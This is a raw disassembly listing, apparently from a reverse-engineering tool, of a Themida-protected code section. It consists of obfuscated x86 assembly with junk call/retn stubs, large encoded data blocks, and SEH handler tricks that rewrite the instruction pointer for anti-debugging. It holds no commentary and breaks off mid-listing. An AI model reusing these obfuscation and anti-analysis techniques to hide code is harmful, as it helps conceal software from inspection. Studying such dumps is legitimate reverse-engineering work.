XREF: Themida_:00580F1Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_580F24 endp ; --------------------------------------------------------------------------- test [eax+0Ch], al jb loc_580F51 jmp loc_580F51 ; --------------------------------------------------------------------------- db 9Bh dd 0ED25A749h, 3E769B30h, 0B4A0F488h db 0E1h ; --------------------------------------------------------------------------- loc_580F51: ; CODE XREF: Themida_:00580F38j ; Themida_:00580F3Ej mov [ebp+61419ADh], edi mov [ebp+61402F5h], eax push 0 push esi call sub_580F68 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580F68 proc near ; CODE XREF: Themida_:00580F60p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_580F68 endp ; --------------------------------------------------------------------------- push ecx sub [ecx+266D8D29h], ebx adc al, 6 mov esi, 3Ch push 0 push ecx call sub_580F91 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580F91 proc near ; CODE XREF: Themida_:00580F89p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_580F91 endp ; --------------------------------------------------------------------------- db 3Dh, 58h, 0FBh dd 831238B3h, 0E95B6032h, 6, 0E889CB83h, 0BE96ABCh, 48000000h dd 31CC96C4h, 0FFFCB219h, 74036A2Ch, 66F52424h, 0E19D89ADh dd 306140Eh, 60242444h, 3897C681h, 8D8B6B8Fh, 6143195h dd 840F5061h, 17h, 0F525060h, 0E9585A31h, 0Ah, 0F7023F78h dd 40253057h, 896126D9h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 20698EC3h, 11A38CC1h dd 8BF815B1h, 83F87840h, 1780CCBDh, 850F0006h, 132h, 820F90F8h dd 19h, 840F5250h, 0 dd 8E9310Fh, 0C000000h, 6DC96EBBh, 5A2265DBh, 850F5058h dd 18h, 11E960h, 0A6540000h, 0EFC6AB36h, 0AE296CECh, 496487E6h dd 610C927Ah, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0B75D83F3h, 0F81B4893h, 0BD892DF7h dd 61404D1h, 313DB529h, 0FE90614h, 82000000h, 3107F7B2h dd 86355042h, 0A9B8BE39h, 448B92D3h, 8D092C24h, 61406B5h dd 0EE9h, 8DE8400h, 68C1E445h, 5BEC4CD5h, 503ADDD5h, 4810Fh dd 0B2600000h, 489611Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0E1A0E7CFh, 6E9C3C1h dd 0E5000000h, 6F0CF781h, 359D0925h, 8D06140Ch, 1752AB85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0FF110717h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0EA052693h dd 0FF89D6Bh, 180h, 4403F500h, 6A2824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3C93EBC3h dd 0BE9h, 0CA262E00h, 0A72E599Ah, 8CA7C70h, 6A18408Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F5B9C352h, 8D8FBDFh, 6A400Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F6EABEC3h dd 0D60FCAFDh, 0FD9D29DDh, 8906142Ah, 1780C885h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C9B52948h, 89061412h, 1422118Dh, 85095806h, 6140FA5h dd 8978708Bh, 142EAD95h, 1CC68306h, 6A96F5h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D15AFAC3h dd 8B3CBFDh, 81F58D80h, 24247Ch, 0F100000h, 0F087h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 9800E8Dh, 1403298Dh, 52509006h, 4EBE6660h, 310F61EFh dd 7E9h, 0DF8ED400h, 8815C9Ah, 6050585Ah, 8B665250h, 50310FF7h dd 5A310F52h, 57585A58h, 7E8h, 27789D00h, 8D7B58BDh, 90615959h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 5AC35545h dd 0C33E53B4h, 9DB58917h, 8B06140Fh, 31282444h, 141C7195h dd 830F9006h, 9, 0BA616060h, 70DF0404h, 66605061h, 0E8B1DCB9h dd 0Eh, 61F503CAh, 123514B2h, 9097385Eh, 6160D458h, 6A906158h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 1A13C355h, 71046CF9h, 8DFC0689h, 1752AB85h dd 8B666006h, 0D0FF61D1h, 3F596F5h, 6A242474h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 59CBC355h, 0F186BD9Dh, 16C59D89h, 0BD8D0614h, 61418F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 33C35646h dd 188F0Fh, 13E90000h, 9B000000h, 91FF1754h, 2A928047h dd 0A672B00Ch, 3EE6A774h, 6AAD4E78h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7F2DC350h dd 3A087D06h, 81756AF4h, 24247Ch, 0F100000h, 0D287h, 6D8D8900h dd 9006141Ah, 12BB6660h, 0F506168h, 1A86h, 11E96000h, 0CD000000h dd 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h, 9061FB8Bh dd 9099D31h, 448B0614h, 6A2824h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 2C6EF4C3h, 0E891062Bh dd 860F0254h, 6, 20FD9509h, 0E9900614h, 0Eh, 65F96500h dd 0E8EB1968h, 915C0A3Eh, 0F500266h, 0E8Dh, 50525000h dd 5A310F52h, 60310F58h, 90585A61h, 30F98531h, 858D0614h dd 61752ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 4AC35545h, 0FCC61C7h, 687h, 39958900h, 0FF06140Eh dd 118589D0h, 3061417h, 6A242444h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 911C353h dd 141A5DB5h, 95950906h, 0F06140Bh, 1984h, 0BB666000h dd 0EE9074Dh, 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h dd 0E9AB616Ah, 0Ch, 0E7604EB4h, 75612EEBh, 9A5281C6h, 0FA81h dd 820F0001h, 764h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0F3C35747h, 0F11854CEh, 8B606C27h, 140F71BDh dd 0D9958B06h, 6106140Eh, 9D9BD8Dh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 8DDFF7C3h dd 5BE270ADh, 6AADFCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0BCB760C3h, 6B4BC4ABh, 247C81F8h dd 24h, 0C6870F10h, 0E9000000h, 9, 0FE7CE4EAh, 43BA0BFCh dd 50609042h, 0D08B6652h, 0EE9310Fh, 0C3000000h, 54AC3008h dd 6DFC88B6h, 0F81CDB0h, 66585A27h, 613D25BBh, 0A870F50h dd 0E9000000h, 5, 0DC86DEDAh, 6A90FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CD0C3h, 49E0A71Eh dd 448BE34Eh, 50F92824h, 6E860h, 0A0650000h, 2D71E0FFh dd 50585E56h, 830F52h, 0F000000h, 0C38B6631h, 8961585Ah dd 870F2404h, 1, 0AB858DFCh, 6A061752h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892DC356h dd 14253185h, 89D0FF06h, 142E2195h, 24440306h, 0F90F524h dd 128Fh, 0F525000h, 8Eh, 50310F00h, 5A310F52h, 50585A58h dd 3920B960h, 90614DB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0EBC35242h, 0A99501ABh, 0F906141Ch, 381BD8Dh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 1CAEBFC3h, 615B5360h, 9E9ADh, 0C00000h, 8FFA97C2h dd 8191D5B7h, 28247Ch, 0F100000h, 0DB87h, 8E900h, 974A0000h dd 3704BAB2h, 0F506BE3h, 1286h, 0F525000h, 86h, 0F310F00h dd 86h, 89585A00h, 89602404h, 141C618Dh, 0F9BE6606h, 448B61BCh dd 9D892C24h, 6140F05h, 19958B60h, 0F06142Ch, 681h, 8D0F00h dd 61000000h, 8F0F6090h, 2, 0C68B6160h, 0AE95061h, 0B2000000h dd 0AB8A7EC0h, 493D509Ah, 666090C1h, 8166CA8Bh, 619F38DAh dd 52AB858Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 1FB685C3h, 838CA18Ch, 6860FC4h dd 9000000h, 1426619Dh, 6AD0FF06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C59FC351h dd 5E9F893h, 0CB000000h, 4FE862B4h, 28244403h, 1CDB589h dd 0BD310614h, 61421B1h, 0BE9ABh, 21F60000h, 46834684h dd 3E21F040h, 8890F01h, 0F000000h, 288h, 5E616000h, 80C88DFFh dd 0BD830617h, 61780C8h, 330A7500h, 11B58DC0h, 0FF061790h dd 81AD56E6h, 28247Ch, 77100000h, 448B500Eh, 8D502C24h dd 1752AB85h dd 3D0FF06h, 97282444h, 858ADF8Bh, 61780C4h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 2F585FFh, 5DE90614h, 5EFFFFFFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h dd 0F4402ABEh, 658D3178h, 6A061415h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 84B2C356h dd 16DC8F19h, 0FBA950A6h, 10E9h, 0BDC5200h, 0DB9D57DAh dd 94751F35h, 343E0AB0h, 0F5858B84h, 0E9061402h, 14h, 8C8EC367h dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh, 6AE0D1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 6660D6C3h, 2D2D781h, 1AADB58Bh, 60610614h, 0BFC3B70Fh dd 5C07781Eh, 81850361h, 0F061403h, 18Fh, 0F62BF800h, 1BA98509h dd 6A960614h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C980C356h, 0E25B53FFh, 1883A64h dd 1429A9B5h, 6AAD6606h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4B7C351h, 68C0FD2h dd 1000000h, 1409E19Dh, 7D9D0106h, 0C1061406h, 6A02E0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 251C06C3h, 8A0F3C74h, 10h, 6E960h, 0C1150000h, 888CD8AFh dd 61C9DC80h, 8258589h, 0AE90614h, 24000000h, 3BC5B77Fh dd 598A5450h, 0F18503BEh, 6A061418h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89B7C356h dd 141D058Dh, 6A9606h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0FC60A2C3h, 61C8EF80h, 0F6060ADh dd 8Dh, 5E900h, 4F8B0000h, 6183A299h, 228DB523h, 0F9610614h dd 24247C81h, 10000000h, 131870Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1CF9EAC3h dd 0EE986h, 48E60000h, 23118594h, 0F476A196h, 7AD9A86h dd 6E86050h, 83000000h, 6A9457BBh, 0F525095h, 5A585A31h dd 8CB35250h, 0F78B310Fh, 8961585Ah, 85892404h, 614067Dh dd 24448BF8h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0DA0BDC52h, 35DB9D57h, 850F751Fh dd 6, 2AA58501h, 8E90614h, 43000000h, 0BBE1DA65h, 50F02C2Dh dd 0EE95250h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh dd 60310F97h, 5A6154B2h, 24048958h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 89C35343h, 14E9DD67h, 0E8000000h dd 0DA6D8E72h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h, 0F95AAECh dd 683h, 65BD8900h, 0F5061406h, 52AB858Dh, 6A0617h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A6531CC3h, 6660D40Bh, 61F9D78Bh, 3F9D0FFh, 0E9242444h dd 8, 0DC440032h, 0D221BCB5h, 1C244489h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0DEC35343h, 7A5DAC87h dd 0B840F4Eh, 60000000h, 81C2BF0Fh, 0FEB20AE7h, 85C6611Eh dd 6141A59h, 9F85C700h, 61782h, 0C7000000h, 1780CC85h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0E9F5E8D1h, 9, 0A457CBF1h, 0D50E4830h dd 0FE96192h, 51000000h, 5A68553h, 0D6691C6Ah, 0FA881487h dd 8C23CBAh, 0B60F900h, 1417258Dh, 0A5B58B06h, 61061404h dd 18F1858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0C46E3CC3h, 13B0F3ECh, 68C0F5Dh dd 89000000h, 142A6195h, 8D29F806h, 61403D1h, 0D26BF84Ah dd 0C203F504h, 6A96F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 2430F0C3h, 29B529F8h, 0AD061409h dd 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h, 66F0DEBCh dd 993BD681h, 247C8161h, 24h, 0CB870F10h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FCCEC350h, 118A0F50h, 0E9000000h, 0Ch, 0B25E8C46h dd 7D447F7Bh, 0B4887ECEh, 89240489h, 1405F98Dh, 24448B06h dd 4D858928h, 0F06141Ch, 68Fh, 0E9B58900h, 50061421h, 13810Fh dd 0EE90000h, 8E000000h, 1E7A8D5Ah, 0E14228F9h, 4705D553h dd 24048974h, 1800Fh, 8DFC0000h, 1752AB85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 779422F9h, 0F3CD558h, 18Dh, 0D0FFF900h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8FC35141h, 92EAF28Fh dd 0E8E9209Ch, 6AFFFFFDh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0CB94C353h, 4F9C4F68h dd 0E971B9A0h, 6, 353DE431h db 41h, 3Eh ; --------------------------------------------------------------------------- loc_581E26: ; CODE XREF: Themida_:loc_580CAFj lea eax, [ebp+6179623h] push 0 push eax call sub_581E37 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581E37 proc near ; CODE XREF: Themida_:00581E2Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_581E37 endp ; --------------------------------------------------------------------------- stc xchg eax, edx leave jz loc_581E6D pusha jo $+6 jmp loc_581E6C ; --------------------------------------------------------------------------- dd 28807D4Eh, 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh ; --------------------------------------------------------------------------- loc_581E6C: ; CODE XREF: Themida_:00581E57j popa loc_581E6D: ; CODE XREF: Themida_:00581E4Aj push eax jno loc_581E87 pusha jmp loc_581E81 ; --------------------------------------------------------------------------- dec edx add [ebp+ebx*8-75h], ch push 62h loc_581E81: ; CODE XREF: Themida_:00581E75j mov ecx, 7287CBA2h popa loc_581E87: ; CODE XREF: Themida_:00581E6Ej mov [esp], eax jl loc_581E96 mov [ebp+6141A75h], ebx loc_581E96: ; CODE XREF: Themida_:00581E8Aj push large dword ptr fs:0 push 0 push esi call sub_581EA8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581EA8 proc near ; CODE XREF: Themida_:00581EA0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_581EA8 endp ; --------------------------------------------------------------------------- scasb test eax, 775F8B9h lahf and al, 89h cld mov eax, [esp] push 0 push ebx call sub_581ED0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581ED0 proc near ; CODE XREF: Themida_:00581EC8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_581ED0 endp ; --------------------------------------------------------------------------- and [ebp+1CB18589h], cl adc al, 6 push 0 push ebp call sub_581EF3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581EF3 proc near ; CODE XREF: Themida_:00581EEBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_581EF3 endp ; --------------------------------------------------------------------------- db 0D8h ; --------------------------------------------------------------------------- pop esp jno loc_581F0C cmc loc_581F0C: ; CODE XREF: Themida_:00581F05j mov large fs:0, esp push 0 push eax call sub_581F1E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581F1E proc near ; CODE XREF: Themida_:00581F16p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_581F1E endp ; --------------------------------------------------------------------------- dw 0AC38h dd 8A0F0B1Ch, 0Ah, 5E9h, 0F4C6EE00h, 8DFC64D6h, 1793AF85h dd 0B5296006h, 6142089h, 608961F9h, 0F8D0F01h, 0E9000000h dd 0Ah, 7A30867Ah, 0F12FA7A3h, 0C0E9210Ch, 60000002h, 89F78B66h dd 1421BDBDh, 85896106h, 6140F19h, 0E8DB8Bh, 5D000000h dd 93A8ED81h, 9CBC0617h, 830012FFh, 1403D9BDh, 18740006h dd 2D01858Bh, 0C60614h, 0F1858B00h, 0C6061434h, 95FF0000h dd 6142EF9h, 0D0B5FF60h, 8D06177Ch, 177CD485h, 858D5006h dd 6177ECCh, 995FF50h, 83061415h, 0E9610CC4h, 0Fh, 7F1C609Dh dd 0C9F0B87Fh, 0BF15DF0Fh, 29C28017h, 140D2D85h, 8800F06h dd 60000000h, 24259D89h, 8D610614h, 177ECCB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9A37859h, 12h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 10CCC7AFh dd 0BD8DF974h, 6141DB5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F6C35646h, 77442952h, 56BCD408h, 9E9ADh dd 342E0000h, 0BCD0CA34h, 80733332h, 840F003Eh, 23h, 6850Fh dd 95890000h, 61400E5h, 0DBD31A4h, 0E906142Eh, 0FFFFFFDFh dd 1D852B60h, 66061420h, 0B861C68Bh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5820AB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5820AB proc near ; CODE XREF: Themida_:005820A3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5820AB endp ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- push ebp mov cl, 11h mov bh, 37h mov esp, 9E6362Bh lea ecx, [ecx-55F9EBF4h] push 0 push ebx call sub_5820D7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5820D7 proc near ; CODE XREF: Themida_:005820CFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5820D7 endp ; --------------------------------------------------------------------------- db 66h dd 0F9955E39h, 827BB7B5h, 0C8D0Fh, 800F0000h, 6, 309DBD89h dd 7B80614h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 1632C357h, 9B5602ACh dd 2313AE6Ch, 0FE9h, 16970E00h, 7481103Fh, 8FB9E6F8h, 0A387FB7Ch dd 14E9h, 0A24D1A00h, 685F3AFh, 0FFBC4DBh, 0A11C2271h dd 9818057Ch, 8185C767h, 1061431h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 45B6C357h, 0B529EAC2h, 6140569h, 4D798D8Dh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 60EEE6C3h, 820Fh, 0FF610000h, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AD6E2CDh dd 11E9h, 0CF3EA700h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h dd 13E973DAh, 55000000h, 0E0B65CE1h, 27E4738Eh, 7B549E9h dd 782D4F5Fh ; --------------------------------------------------------------------------- xlat stc loc_582202: ; DATA XREF: Themida_:00549104o ; Themida_:00549580o ... mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 617962Dh mov eax, [ebx+0B8h] mov [ebp+6177CD0h], eax lea eax, [ebp+61793A1h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- add [ebp+6142B91h], edi mov [ebp+614141Dh], edi jmp loc_582250 ; --------------------------------------------------------------------------- movsb les esi, [edx+6B91DB79h] xchg eax, edx push ebx pop esp or [ebx+24D08260h], al loc_582250: ; CODE XREF: Themida_:0058223Bj add [ebp+6140935h], ecx pusha jg loc_582263 or [ebp+614210Dh], edx loc_582263: ; CODE XREF: Themida_:00582257j lea eax, [ebp+61797F6h] xor [ebp+61416EDh], ecx push eax ja loc_582289 jmp loc_582289 ; --------------------------------------------------------------------------- db 14h dd 347A839Ah, 58804D60h, 2D76F864h db 0B9h ; --------------------------------------------------------------------------- loc_582289: ; CODE XREF: Themida_:00582270j ; Themida_:00582276j mov [esp], eax jg loc_582298 or [ebp+61418CDh], eax loc_582298: ; CODE XREF: Themida_:0058228Cj push large dword ptr fs:0 push 0 push edi call sub_5822AA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5822AA proc near ; CODE XREF: Themida_:005822A2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5822AA endp ; --------------------------------------------------------------------------- dw 0B44Ch ; --------------------------------------------------------------------------- std xor [ebx-62760A41h], cl adc eax, 64061421h mov large ds:0, esp mov [ebp+6140B69h], edi lea eax, [ebp+61798AFh] mov [ebp+6141D15h], ecx mov [eax+1], esp push 0 push ebx call sub_5822EE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5822EE proc near ; CODE XREF: Themida_:005822E6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5822EE endp ; --------------------------------------------------------------------------- adc [ebp-0Ah], bl dec esi mov [ebp+6140985h], edi jmp loc_58231B ; --------------------------------------------------------------------------- db 2Fh, 53h, 4Bh dd 112D9EE8h, 3F0A331Bh db 64h, 81h, 40h ; --------------------------------------------------------------------------- loc_58231B: ; CODE XREF: Themida_:00582308j mov byte ptr [ebp+6141A59h], 4Fh mov [ebp+61421BDh], eax jp loc_58233C pusha mov eax, [ebp+61418ADh] mov [ebp+61420CDh], eax popa loc_58233C: ; CODE XREF: Themida_:00582328j push 0AE7B2BA1h jle loc_58234E pusha pusha popa mov ax, di popa loc_58234E: ; CODE XREF: Themida_:00582341j add dword ptr [esp], 504D4889h push 0 push ebp call sub_582360 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582360 proc near ; CODE XREF: Themida_:00582358p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_582360 endp ; --------------------------------------------------------------------------- shl dword ptr [edx-5Dh], 1 pop esi pop ebx xlat inc edx xchg cl, [eax+60h] adc bl, 1Ah sub dx, 6259h popa push dword ptr [ebp+6141AD1h] push 0 push edi call sub_582395 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582395 proc near ; CODE XREF: Themida_:0058238Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_582395 endp ; --------------------------------------------------------------------------- rcr eax, cl mov [ebp+61423D9h], eax lea eax, [ebp+61780DBh] pusha mov esi, [ebp+6140D01h] mov edx, [ebp+6140249h] popa call eax mov [ebp+6140D0Dh], eax jmp loc_58248E ; --------------------------------------------------------------------------- stc mov [ebp+6141105h], ecx mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 6179800h mov eax, [ebp+6141145h] mov [ebp+6141AD1h], eax mov eax, [ebp+6140931h] mov [ebp+6142255h], eax mov eax, [ebp+6143481h] mov [ebp+6140785h], eax mov byte ptr [ebp+6141A59h], 0 mov dword ptr [ebp+617829Fh], 0 lea eax, [ebp+61798AFh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- push 0 push esi call sub_582436 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582436 proc near ; CODE XREF: Themida_:0058242Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_582436 endp ; --------------------------------------------------------------------------- dw 0F01h dd 18Ch, 6AF900h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 608BF5C3h, 198E0Fh, 13E80000h, 2B000000h dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 8A59AF6Bh ; --------------------------------------------------------------------------- cli popa loc_58248E: ; CODE XREF: Themida_:005823C9j mov esp, 12FF74h mov [ebp+6141585h], edi pop large dword ptr fs:0 push 0 push eax call sub_5824AB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5824AB proc near ; CODE XREF: Themida_:005824A3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5824AB endp ; --------------------------------------------------------------------------- db 30h dd 6D24036Bh, 0FB58A08h, 880h, 2890F00h, 60000000h, 8D8B6061h dd 61413E9h, 4C48361h, 0FE9h, 0D1349100h, 81E7A637h, 7BAD8661h dd 0DB78A1C0h, 0EEE961h, 8BFB0000h, 5C9736E1h, 88838A05h dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6D171Eh dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h, 0E0202060h dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5832E6 ; --------------------------------------------------------------------------- push 6179C8Ch jmp loc_5509FF ; --------------------------------------------------------------------------- push 6179D92h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6179E52h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6179F1Bh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6179FDDh jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A08Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A1ECh jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A2E9h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A3D4h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A4A4h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617A565h jmp loc_5509FF ; --------------------------------------------------------------------------- db 8Ah dd 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh dd 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h dd 580981F6h, 12A80F0Ah, 3E4BF7C4h, 47A2693h, 8C4AE2A0h dd 9301DD2Fh, 0BA9DA3EBh, 0C857E500h, 1FECF4A0h, 0B8945B7h dd 2AB38A68h, 5F8EE692h, 0E7398254h, 2693420Fh, 